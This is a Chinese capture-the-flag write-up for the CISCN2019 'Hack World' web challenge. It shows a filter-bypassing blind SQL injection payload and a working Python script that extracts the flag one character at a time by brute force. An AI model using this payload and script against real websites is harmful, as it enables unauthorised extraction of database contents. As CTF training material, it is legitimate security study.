[CISCN2019 华北赛区 Day2 Web1]Hack World

1,测试

[CISCN2019 华北赛区 Day2 Web1]Hack World_第1张图片

[CISCN2019 华北赛区 Day2 Web1]Hack World_第2张图片
[CISCN2019 华北赛区 Day2 Web1]Hack World_第3张图片思路:大概率得盲注了。
2,burp测试黑名单关键字
select、from、if、异或^可用。

盲注构造语句:

id=(select(ascii(mid(flag,1,1))=102)from(flag))

3、使用脚本

# -*- coding = utf-8 -*-

import requests
import string

def blind_sql(url):
    flag=''                     #接收结果
    for num in range(1,60):     #flag一般不超过50个字符
        for i in string.printable:  #string.printable将给出所有的标点符号,数字,ascii_letters和空格
            payload='(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i)) #ord函数用来获取单个字符的ascii码
            post = {"id":payload}
            result = requests.post(url=url,data=post)   #提交post请求
            if 'Hello' in result.text:
                flag += i   #用flag接收盲注得到的结果
                print(flag) #打印结果
            else:
                continue
    print(flag)

if __name__ == '__main__':
    url='http://73f759e5-bcca-4b8d-94e6-4b160c714d14.node4.buuoj.cn:81/index.php'
    blind_sql(url)

思考:这里如果对访问次数加以限制就很难爆破盲注突破了。

你可能感兴趣的:(web,python)